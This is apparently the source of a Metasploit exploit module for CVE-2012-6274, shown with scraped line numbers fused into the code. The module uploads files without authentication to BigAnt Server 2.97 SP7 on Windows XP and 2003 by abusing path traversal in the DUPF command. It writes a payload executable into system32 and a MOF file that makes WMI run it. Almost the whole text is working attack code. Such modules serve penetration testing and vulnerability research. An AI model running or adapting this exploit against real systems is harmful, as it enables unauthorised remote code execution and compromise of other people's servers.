Path: blob/master/modules/exploits/windows/misc/bigant_server_dupf_upload.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE10include Msf::Exploit::WbemExec11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload',18'Description' => %q{19This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.20A lack of authentication allows to make unauthenticated file uploads through a DUPF21command. Additionally the filename option in the same command can be used to launch22a directory traversal attack and achieve arbitrary file upload.2324The module uses the Windows Management Instrumentation service to execute an25arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It26has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 200327SP2.28},29'Author' => [30'Hamburgers Maccoy', # Vulnerability discovery31'juan vazquez' # Metasploit module32],33'License' => MSF_LICENSE,34'References' => [35[ 'CVE', '2012-6274' ],36[ 'US-CERT-VU', '990652' ],37[ 'BID', '57214' ],38[ 'OSVDB', '89342' ]39],40'Privileged' => true,41'Platform' => 'win',42'Targets' => [43[ 'BigAnt Server 2.97 SP7', {} ]44],45'DefaultTarget' => 0,46'DefaultOptions' => {47'WfsDelay' => 1048},49'DisclosureDate' => '2013-01-09',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60Opt::RPORT(6661),61OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])62]63)64end6566def upload_file(filename, content)67random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"6869dupf = "DUPF 16\n"70dupf << "cmdid: 1\n"71dupf << "content-length: #{content.length}\n"72dupf << "content-type: Appliction/Download\n"73dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"74dupf << "modified: #{random_date}\n"75dupf << "pclassid: 102\n"76dupf << "pobjid: 1\n"77dupf << "rootid: 1\n"78dupf << "sendcheck: 1\n\n"79dupf << content8081print_status("sending DUPF")82connect83sock.put(dupf)84res = sock.get_once85disconnect86return res87end8889def exploit90peer = "#{rhost}:#{rport}"9192# Setup the necessary files to do the wbemexec trick93exe_name = rand_text_alpha(rand(10) + 5) + '.exe'94exe = generate_payload_exe95mof_name = rand_text_alpha(rand(10) + 5) + '.mof'96mof = generate_mof(mof_name, exe_name)9798print_status("Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")99res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)100if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/101print_good("#{exe_name} uploaded successfully")102else103if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/104print_error("Upload failed, check the DEPTH option")105end106fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")107end108109print_status("Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")110res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)111if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/112print_good("#{mof_name} uploaded successfully")113register_file_for_cleanup(exe_name)114register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")115else116if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/117print_error("Upload failed, check the DEPTH option")118end119fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")120end121end122end123124125